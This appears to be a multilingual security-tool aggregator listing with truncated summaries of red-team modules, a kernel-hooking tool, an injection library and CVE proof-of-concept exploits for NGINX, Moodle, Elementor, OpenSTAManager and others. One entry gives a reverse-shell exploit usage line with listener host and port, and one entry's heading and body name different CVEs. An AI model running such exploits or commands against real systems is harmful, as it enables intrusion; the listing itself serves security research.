Azur3Alph4

Azur3Alph4 소개 Azur3Alph4는 작전 목표를 위한 레드팀 작업을 자동화하는 PowerShell 모듈입니다. 이 모듈은 침해 후RCE 달성 상태에 위치합니다. 토큰 추출 및 기타 여러 도구는 이 상태에서 시작하지 않으면 성공적으로 실행되지 않습니다. 이 모듈은 관리 ID의 일부인 손상된 앱에서 추가 열거 및 이동을 위해 사용되어야 합니다. Azur3Alph4는 현재 개발 중입니다. 모듈이 작업 및 업데이트되고 있습니다. 대부분은 아직 테스트되지 않았습니다. 개별 사용 및 쉬운 식별을 위해 스크립트는 저장소에 있지만...

xnuspy

xnuspy example/open1hook.c를 컴파일하고 실행한 후 커널 로그의 출력 xnuspy는 새로운 시스템 콜 xnuspyctl을 설치하는 pongoOS 모듈로, 사용자 공간에서 커널 함수를 후킹할 수 있게 해줍니다. checkra1n 0.12.2 이상의 iOS 13.x, iOS 14.x, iOS 15.x를 지원합니다. 4K 장치는 지원되지 않습니다. 이 모듈은 KTRR/KPP를 완전히 무력화하고 EL1 내에 RWX 메모리를 생성할 수 있게 합니다. 주력 기기에서는 사용하지 마십시오. libusb 필요: brew...

CVE-2026-42945

CVE-2026-42945 - NGINX Rift 脆弱性の分析と再現 概要 CVE-2026-42945（コードネーム「NGINX Rift」）は、NGINX の ngxhttprewritemodule に存在するヒープバッファオーバーフロー 脆弱性であり、CVSS v4 スコアは 9.2（Critical） です。 この脆弱性は depthfirst セキュリティ研究チームにより2026年4月に発見され、2008年に NGINX 0.6.27 で導入されて以来、18年間 潜伏していました。 影響範囲 NGINX Open Source 0.6.27 1.30.0 NGINX...

stegcloak

StegCloak 텍스트를 위한 투명 망토 StegCloak는 순수 JavaScript로 작성된 스테가노그래피 모듈로, 함수형 프로그래밍 스타일로 설계되었습니다. 비밀을 압축 및 암호화한 후 특수 유니코드 보이지 않는 문자를 사용하여 텍스트 내에 숨깁니다. 문자열에 안전하게 워터마크를 남기거나, 웹페이지에 보이지 않는 스크립트를 삽입하거나, 소셜 미디어 텍스트에 사용하거나, 기타 은밀한 통신을 위해 활용할 수 있습니다. 완전히 보이지 않습니다! 자세한 작동 방식은 이 Medium 글에서 확인하거나, 데모를 시청해 보세요. 기능...

CVE-2018-5353

CVE-2018-5353 Zoho ManageEngine ADSelfServicePlus クライアント権限昇格/RCE 情報 ベンダー: Zohocorp 製品: ManageEngine ADSelfServicePlus 影響を受けるバージョン: 5.5ビルド5517より前 研究者: Jason Juntunen 別名 @missing0x00 https://github.com/missing0x00 CVSS: 8.8 説明 Zoho ManageEngine ADSelfService Plus...

Blackbone

Blackbone Windows 메모리 해킹 라이브러리 특징 x86 및 x64 지원 프로세스 상호작용 PEB32/PEB64 관리 WOW64 장벽을 통한 프로세스 관리 프로세스 메모리 가상 메모리 할당 및 해제 메모리 보호 변경 가상 메모리 읽기/쓰기 프로세스 모듈 로드된 모든 32/64비트 모듈 열거. 로더 목록/섹션 객체/PE 헤더 메서드를 사용하여 모듈 열거. 내보낸 함수 주소 가져오기 기본 모듈 가져오기 로더 목록에서 모듈 연결 해제 모듈 인젝션 및 이젝션 순수 IL 이미지 포함 WOW64 프로세스에 64비트 모듈 인젝션...

CVE-2019-1003000_RCE-DETECTION

CVE-2019-1003000RCE-DETECTION 総合的な概要 脆弱性CVE-2018-1000861とCVE-2019-1003000を連鎖させて、Jenkins CIにおけるPre-Auth RCEをテストするモジュールを作成しました。当初はユーザー名、パスワード、ジョブ名を使って脆弱性を検出しようと試みましたが、2つの脆弱性を連鎖させる方法の方がより現実的で興味深いと考えました。 前提条件 Windows、Linux、macOSのマシンにVisual Studioまたは.NET Coreフレームワークがインストールされていること。 環境設定（私の方法） 1...

CVE-2025-32463_POC

nsswitch.conf のデフォルト値を確認しています: root@kitploit: passwd: files systemd chroot を呼び出した後、sudo はコマンドを実行するために nsswitch.conf の設定値を解析しようとし、その結果 libnsssystemd.so.2 を開こうとします。...

browser-crash-tool

浏览器崩溃工具 - Kali 概述 该工具利用 iOS WebKit 中的一个漏洞（CVE-2020-27950），借助 Metasploit 的 webkitbackdropfilterblur 辅助模块实现攻击。但经过一些测试后，它似乎对所有浏览器都有效，它通过加载精心构造的网页导致目标浏览器崩溃。该工具还使用 ngrok 创建一个可公开访问的恶意页面链接，便于发送给目标。 免责声明： 本工具仅用于教育目的，并协助网络安全专业人员在受控环境中了解浏览器漏洞并对其进行测试。严禁将本工具用于未经授权或恶意活动。...

CVE-2015-3224

CVE-2015-3224 Ruby-On-Rails 웹 콘솔 RCE 이것은 무엇인가요? 이것은 Metasploit용 metasploit 모듈입니다. 이미 이 모듈을 가지고 있습니다. 네, 이 모듈은 metasploit에 포함되어 있습니다. 하지만 그 모듈로는 임의 명령 실행을 할 수 없습니다. 즉, 그 모듈로는 리버스/바인드 셸 페이로드만 설정할 수 있습니다. 저는 셸에서 직접 명령을 실행할 필요가 있었습니다. 그래서 metasploit 모듈을 수정하여 시스템에서 단일 명령을 실행할 수 있게 했습니다. 좋습니다. 어떻게 사용하나...

CVE-2018-4878

CVE-2018-4878용 Metasploit 모듈 이 SWF 파일은 Michael Gorelik의 PoC를 기반으로 합니다. CVE-2018-4878.swf를 data/exploits로 복사하세요...

CVE-2026-38751

CVE-2026-38751 — OpenSTAManager モジュールアップロード RCE モジュール更新エンドポイントでの未検証ZIPアップロードによる認証済みRCE。 影響を受けるバージョン: OpenSTAManager = 2.10.x 必要条件 pip install requests 使用方法 root@kitploit: Reverse shell Penelope or any listener python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444...

CVE-2026-28672

CVE-2026-28672 — Apache Ranger UnixUserGroupBuilder の OS コマンドインジェクション Apache Ranger の user-sync（unixusersync）モジュールにおける OS コマンドインジェクションの実行可能な PoC 再現コードです。 同期された各ユーザーのグループを列挙する際、UnixUserGroupBuilder はシェルを介して id コマンドを実行し、ユーザー名 をコマンドラインに連結します： root@kitploit: //...

CVE-2024-38473

Apache HTTP Server modproxy 인코딩 문제 PoC Proof of Concept 이 저장소는 Apache HTTP Server 2.4.59 및 이전 버전의 modproxy 모듈에서 발생하는 인코딩 문제를 시연하기 위한 PoCProof of Concept 스크립트를 포함하고 있습니다. 이 취약점은 잘못된 인코딩이 포함된 요청 URL이 백엔드 서비스로 전송되도록 하여, 조작된 요청을 통해 인증을 우회할 가능성이 있습니다. Table of Contents 취약점 설명 설정 및 사용법 중요 고려사항 완화 방법 취약...

multi_path

multipath - exploit for p0 issue 1558 CVE-2018-4241 @i41nbeer mptcpusrconnectx는 APMULTIPATH 소켓 패밀리의 connectx 시스템 콜을 위한 핸들러입니다. 이 함수의 로직은 AFINET 또는 AFINET6가 아닌 소스 및 대상 sockaddr을 올바르게 처리하지 못합니다. root@kitploit: // verify salen for AFINET: if dst-safamily == AFINET && dst-salen != sizeofmpte-mptedstv...

CVE-2021-36394-Pre-Auth-RCE-in-Moodle

CVE-2021-36394-Pre-Auth-RCE-in-Moodle 脆弱性の概要 Moodleは世界で最も人気のある学習管理システムです。数分でeラーニングウェブサイトを作成できます！ MoodleのShibboleth認証モジュールには、認証なしのリモートコード実行の脆弱性が存在します。これは大学で広く利用されており、ある大学の学生が他の大学で認証を受け、外部のコースを受講したり、他の学生と交流したりすることを可能にします。 環境構築 root@kitploit: git clone...

CVE-2022-1329-WordPress-Elementor-3.6.0-3.6.1-3.6.2-Remote-Code-Execution-Exploit

WordPress Plugin - Elementor 3.6.0 3.6.1 3.6.2 Remote Code Execution root@kitploit: Google Dork: none Date: April 16 2022 Exploit Author: AkuCyberSec https://github.com/AkuCyberSec Vendor Homepage: https://elementor.com/ Software Link: https://wordpress.org/plugins/elementor/advanced/ scroll down...

FreePBX-Vulns-December-25

FreePBX 취약점 - 2025년 12월 이 저장소는 FreePBX의 세 가지 중요 취약점을 탐지하기 위한 Nuclei 템플릿을 포함합니다: CVE-2025-61675 : 인증된 SQL 인젝션 CVSS 8.6 - endpoint 모듈에 영향 CVE-2025-61678 : 인증된 임의 파일 업로드 CVSS 8.6 - endpoint 모듈에 영향 CVE-2025-66039 : 인증 우회 CVSS 9.3 - framework 모듈에 영향 영향을 받는 버전 CVE-2025-61675 및 CVE-2025-61678 endpoint 모...

CVE-2018-10517

CVE-2018-12613 가짜 모듈 업로드 및 원격 웹 서버에 PHP 파일 드롭을 통한 인증된 원격 명령 실행. 영향을 받는 소프트웨어 1. CMS Made Simple 2.2.7; 사용 방법 이 PowerShell 스크립트는 익스플로잇 HTTP 요청을 구성하기 위해 두 개의 매개변수가 필요합니다: root@kitploit: 1. CMS Made Simple URL 엔드포인트; 2. 인증되지 않은 사용자의 쿠키; 3. 원격 시스템 셸에서 실행할 명령 문자열; 예제 스크립트를 사용하기 위해 모든 매개변수를 준비합니다: 그러면...

CVE-2021-36563

CVE-2021-36563 – 複数の格納型および反射型XSS アプリケーション: CheckMK 管理Webコンソール ソフトウェアリビジョン: 1.5.0 から 2.0.0p9 まで 攻撃タイプ: 格納型および反射型XSS 解決策: ソフトウェアリビジョン 2.0.0p10 以降に更新してください 概要: CheckMK 管理Webコンソール（バージョン 1.5.0 から 2.0.0）は、WATO モジュールのさまざまなパラメータでユーザー入力をサニタイズしません。これにより、攻撃者はブラウザによって解釈されるHTMLコンテンツ（JavaScript...